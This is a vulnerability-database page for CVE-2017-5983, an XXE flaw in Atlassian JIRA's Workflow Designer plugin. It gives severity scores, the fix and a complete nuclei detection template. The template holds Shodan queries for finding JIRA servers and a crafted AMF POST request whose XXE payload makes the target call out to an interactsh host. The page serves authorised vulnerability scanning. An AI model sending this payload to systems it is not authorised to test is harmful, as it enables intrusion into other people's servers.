HexBrain

Browse / CVEs / CVE-2017-5983

CVE-2017-5983· atlassian / jira· CWE-502

JIRA Workflow Designer Plugin in Atlassian JIRA Server > 6.3.0 - Remote Code Execution (XXE)

criticalseverity
9.8CVSS score
16.2%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

The JIRA Workflow Designer Plugin in Atlassian JIRA Server before 6.3.0 improperly uses an XML parser and deserializer, which allows remote attackers to execute arbitrary code, read arbitrary files, or cause a denial of service via a crafted serialized Java object.

Impact

Unauthenticated attackers can execute arbitrary code on the server, read arbitrary files, or cause denial of service, potentially leading to complete server compromise.

Fix

Upgrade to JIRA Server version 6.3.0 or later.

How to confirm it

Send: GET {{BaseURL}}/secure/Dashboard.jspa ; GET {{BaseURL}}/jira/secure/Dashboard.jspa ; GET {{BaseURL}}/login.jsp
Positive when: contains "title=\"JiraVersion\""
Send: POST /plugins/servlet/jwd/amf/
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2017-5983 -u <target>

The full check
id: CVE-2017-5983

info:
  name: JIRA Workflow Designer Plugin in Atlassian JIRA Server > 6.3.0 - Remote Code Execution (XXE)
  author: us3r777,Synacktiv
  severity: critical
  description: |
    The JIRA Workflow Designer Plugin in Atlassian JIRA Server before 6.3.0 improperly uses an XML parser and deserializer, which allows remote attackers to execute arbitrary code, read arbitrary files, or cause a denial of service via a crafted serialized Java object.
  impact: |
    Unauthenticated attackers can execute arbitrary code on the server, read arbitrary files, or cause denial of service, potentially leading to complete server compromise.
  remediation: |
    Upgrade to JIRA Server version 6.3.0 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5983
    - https://code-white.com/blog/2017-04-amf/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-5983
    cwe-id: CWE-502
    epss-score: 0.16244
    epss-percentile: 0.96972
    cpe: cpe:2.3:a:atlassian:jira:4.2.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query:
      - http.title:"system dashboard - jira"
      - cpe:"cpe:2.3:a:atlassian:jira"
      - http.component:"atlassian confluence"
      - http.component:"atlassian jira"
  tags: cve,cve2017,jira,amf,rce,xxe,vuln

variables:
  version: "\x00\x00"
  header_count: "\x00\x00"
  message_count: "\x00\x01"
  target_uri: "test"
  target_uri_len: "\x00\x04"
  response_uri: "test"
  response_uri_len: "\x00\x04"
  xml_marker: "\x0f"
  xxe_payload: '<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://{{interactsh-url}}/amf"> %ext; ]>'
  int: "0000"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/secure/Dashboard.jspa"
      - "{{BaseURL}}/jira/secure/Dashboard.jspa"
      - "{{BaseURL}}/login.jsp"

    stop-at-first-match: true
    host-redirects: true
    matchers:
      - type: word
        part: body
        words:
          - 'title="JiraVersion"'
        internal: true

  - raw:
      - |
        POST /plugins/servlet/jwd/amf/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        Content-Length: {{len(xxe_payload)+29}}

        {{version}}{{header_count}}{{message_count}}{{target_uri_len}}{{target_uri}}{{response_uri_len}}{{response_uri}}{{url_decode(concat("%00%00%00%",dec_to_hex(len(concat(int,xml_marker,xxe_payload)))))}}{{xml_marker}}{{url_decode(concat("%00%00%00%",dec_to_hex(len(concat(xxe_payload)))))}}{{xxe_payload}}

    unsafe: true
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from